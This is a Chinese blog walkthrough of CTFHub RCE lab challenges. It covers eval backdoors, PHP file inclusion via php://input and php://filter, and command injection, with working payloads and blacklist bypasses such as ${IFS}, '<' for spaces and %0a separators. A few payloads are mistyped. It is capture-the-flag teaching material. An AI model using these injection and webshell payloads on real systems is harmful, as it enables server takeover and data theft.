CTFHub 技能树-- RCE(详解)

CTFHub – RCE

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

eval执行文件

查看一开始的源代码:

<?php
    if(isset($_REQUEST['cmd'])){
        eval($_REQUEST['cmd']);
    }
	else{
        highlight_file(__FILE__);
    }
?>

php函数意思是:

是否由变量cmd 如果有,就执行eval($_REQUEST['cmd']);也就是 木马

__isset判断一个变量是否已设置, 即变量已被声明,且其值为ture

所以我们在访问的时候使用变量 cmd

/?cmd=system("ls")  

此处因为根目录无flag 所以看上一级目录

/?cmd=system("ls /")  

然后查找flag:

/?cmd=system("cat /flag_5647")  

文件包含

<?php
    error_reporting(0);
    if (isset($_GET['file'])) {  
           if (!strpos($_GET["file"], "flag")) {
               include $_GET["file"];
           } else {
                 echo "Hacker!!!";  }
    } else {  highlight_file(__FILE__);}?>
       <hr>i have a <a href="shell.txt">shell</a>, how to use it ?

strpos:查找字符串首次出现的位置

strpos(string,find,start)
参数描述
string必需。规定要搜索的字符串。
find必需。规定要查找的字符串。
start可选。规定在何处开始搜索。

所以php函数意思是:

如果get传参的变量中含有flag

就会执行 else 进行警告 Hacker!!!

否则,执行包含起来的文件: $_GET[“file”]
点击下面的
shell.txt

发现由eval漏洞

<?php eval($_REQUEST['ctfhub']);?>

并且 $_REQUEST['ctfhub']

文件包含漏洞利用的前提条件:
(1)web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参
数的方式引入;
(2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问;

文件包含获取 webshell 的条件:
(1)攻击者需要知道文件存放的物理路径;
(2)对上传文件所在目录拥有可执行权限;
(3)存在文件包含漏洞;

所以本题存在文件包含漏洞

我们要想办法绕过 hacker(黑客)
到达include

所以我们找个变量指向一个没有 flag 的文件

而题中已经给了提示 shell.txt 同时有 eval漏洞

所以我们可以构造出:
在这里插入图片描述

从而获得flag

PHP://input

一开始给出源代码:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZzMXMfJ9-1645357597449)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220104453517.png)]

在没有shell脚本的情况下访问 flag ,第一时间想到了 上传文件漏洞,上传shell.php,奈何没有上传点只得作罢,换个思路:

我们是否可以用 burpsuite 来进行抓包,在BP上面改包,添加上我们想要的shell.php的内容,但问题来到了,这时候我们添加的 内容是以 post数据流存在的,没有以代码的方式执行

幸运的是 php是一个功能强大的语言

在php伪协议中存在php://input

php://input

作用:可用于查看源码,同时是要查看未压缩文件的只读流。在post请求中能查看请求的原始数据,并将post请求中的post数据当作php代码执行。(只读流是说只能进行读操作的数据)

条件:allow_url_fopen=off/on;allow_url_include=on

点击题中的 phpinfor 查看php情况,检查allow_url_include是否为on

在这里插入图片描述

然后,我们可以确定 本题考查就是 php://input

所以我们只要将 get改为 post 像这样:

POST /?file=php://input HTTP/1.1

然后在后面添加 shell:

<?php system('ls /');?>

所以我们只要将 get改为 post 像这样:

POST /?file=php://input HTTP/1.1

然后在后面添加 shell:

<?php system('ls /');?>

在这里插入图片描述

注:在本题使用<?php system('ls');?>无效,要直接使用<?php system('ls /');?>

得到flag:

<?php system('cat /flag_4627');?>

在这里插入图片描述

在php伪协议中还存在:php://filter

php://filter

  • 条件:allow_url_fopen=off/on;allow_url_include=off/on

  • 作用:用过滤器读写数据流

我们发现以本题的情况来看,php://也是可以使用

我们先了解下 php:filter

参数描述
read用读链的过滤器读数据流
write用写链的过滤器写数据流
resource声明过滤哪一个数据流
不指定读写当不指定读写时会自己根据情况而定

我们可以直接构造:

?file=php://filter/resource=../../../flag

但问题来了,我们并不知道flag后面的数字,所以,我们直接使用是无法获得flag的

必须先使用 php://input 获得 flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gyZJ97fv-1645357597455)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220112614477.png)]

?file=php://filter/resource=../../../flag_28479

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-flIP7L7S-1645357597456)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220112522112.png)]

远程包含

引入眼帘的就是这样一句话:

i don’t have shell, how to get flag?

自然而然地我们直接使用 php://input (上一关相同)

在解题的过程中,我们发现 所需要的文件名称 直接就是flag

但 php代码:echo

所以在本关我们可以直接使用 php://filter

?file=php://filter/resorce=../../../flag

读取源代码

题目中直接说 flag in/flag`

所以我们直接使用 php://filter

?file=php://filter/resource=../../../flag

命令注入

我们先了解下命令注入:

命令注入

后台直接执行系统命,一般要结合linux,windows的管道对要执行的命令进行拼接。 过滤的话大致分为两种情况:白名单,黑名单
黑名单是过滤到一些常用的参数,如果过滤的不全面可以考虑用其他相同功能的函数代替;如果黑名单比较全面,那就要考虑用编码的方式尝试绕过。
白名单是限制参数的使用范围,写死了的话应该常规的办法就没有用了。盲猜很多web都是基于白名单的。
可以通过echo,>>等方法生成php文件并写入一句话木马

Windows系统中命令的链接符号

  1. “|”:直接执行后面的语句。
  2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
  3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
  4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能

先输入:

127.0.0.1&ls

在这里插入图片描述

127.0.0.1&cat 32506276723113.php|base64#

在这里插入图片描述

]然后进行 base64 解码

获得flag

在后面的关卡中,就是命令注入的黑名单应用了

过滤cat

在这里插入图片描述

在linux下,不只有cat 可以读取文件内容,more less head tac,都可以对文本进行读取。

当然我们使用的是windows ,但是也能用

127.0.0.1&ls

127.0.0.1; more flag_19336906025702.php | base64 #

过滤空格

在这一关过滤了空格

所以我们的思路就是使用特殊符号过滤空格

使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}${IFS}来代替空格

127.0.0.1&ls

127.0.0.1;cat<flag_229962408527938.php|base64#

过滤目录分隔符

过滤了目录分割符 /既然过滤了/,那我们就不能直接查看文件里面的文件了也就是不能127.0.0.1 ; ls /flag_is_here/flag_294042268011398.php,这里利用分号使两个命令同时进行也就是127.0.0.1;cd flag_is_here;cat flag_9012297169124.php

​ cd 进入flag_is_here目录,

​ ls 显示flag_is_here目录里的内容。

所以

127.0.0.1&ls

127.0.0.1;flag_is_here;ls

127.0.0.1;flag_is_here;flag_294042268011398.php |base64#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KhQRAoiY-1645357597459)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220180453004.png)]

过滤运算符

在本关过滤掉了 | &

所以

127.0.0.1&ls

127.0.0.1; base64 flag_726327229931.php#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-stIqA1Lb-1645357597460)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220181819791.png)]

综合练习

在本关过过滤了 | & ; / cat flag ctfhub 和空格

  |    &     ;     /    cat    flag    ctfhub  和空格
cat 用more 代替

空格用 < 代替

|   我们可以将 base64写在前面

;(命令分隔符)     用%0a代替


注意应为 %0a是url编码所以要在url栏中执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Io7IJSEF-1645357597460)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220182823604.png)]

127.0.0.1%0als

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OKV30goP-1645357597461)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220184315763.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yf2BVhoQ-1645357597461)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220194545445.png)]

  • 5
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
第1章 注入类 课时1:SQL注入原理与利用 19'40 课时2:SQL注入宽字节原理与利用42'08 课时3:SQL Union注入原理与利用01'01'54 课时4:SQL注入布尔注入50'02 课时5:报错注入原理与利用29'27 课时6:CTF SQL基于约束注入原理与利用12'22 课时7:SQL注入基于时间注入的原理与利用50'13 课时8:SQL基于时间盲注的Python自动化解题22'45 课时9:Sqlmap自动化注入工具介绍23'47 课时10:Sqlmap自动化注入实验 - POST注入13'34 课时11:SQL注入常用基础Trick18'15 第2章 代码执行与命令执行 课时1:代码执行介绍49'32 课时2:命令执行介绍20'14 课时3:命令执行分类20'12 课时4:命令执行技巧24'30 课时5:长度限制的命令执行25'46 课时6:无数字和字母命令执行10'27 第3章 文件上传与文件包含 课时1:文件上传漏洞原理与简单实验17'10 课时2:文件上传利用 - javascript客户端检查14'16 课时3:文件上传利用 - MIME类型检查10'50 课时4:文件上传利用 - 黑名单检查11'46 课时5:白名单检查13'09 课时6:Magic Header检查13'04 课时7:竞争上传21'10 课时8:简单利用15'47 课时9:文件包含介绍 - 伪协议zip和phar利用17'56 课时10:文件包含介绍-伪协议phpfilter利用04'54 课时11:日志文件利用07'58 课时12:日志文件利用session会话利用17'43 第4章 SSRF 课时1:SSRF介绍与简单利用19'14 课时2:SSRF限制绕过策略13'07 课时3:SSRF中可以使用的协议分析17'44 课时4:Linux基础知识21'37 课时5:Redis未授权访问漏洞利用与防御16'17 课时6:Redis未授权添加ssh密钥f17'04 第5章 第五章 课时1:XXE-XML基础必备24'47 课时2:XXEXML盲注利用技巧18'22 第6章 第六章 课时1:序列化和反序列化介绍15'49 课时2:PHP反序列化识别与利用14'22 课时3:PHP序列化特殊点介绍15'28 课时4:魔术方法20'35 课时5:序列化漏洞案例 - 任意命令执行05'53 课时6:Phar反序列化10'38 第7章 第7章 Python基础 课时1:7.1-Requests模块安装与介绍15'28 课时2:7.2-Python requests库 使用18'26 课时3:7.3-XSS自动化检测13'23 课时4:7.4-Python-SQL自动化检测07'59 课时5:7.5-Python 源码泄露自动化挖掘23'38 第8章 第8章 SSTI模板注入 课时1:8.1-Flask框架介绍与基础39'14 课时2:8.2-RCE 文件读写23'37 课时3:8.3-SSTI Trick技巧27'13

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值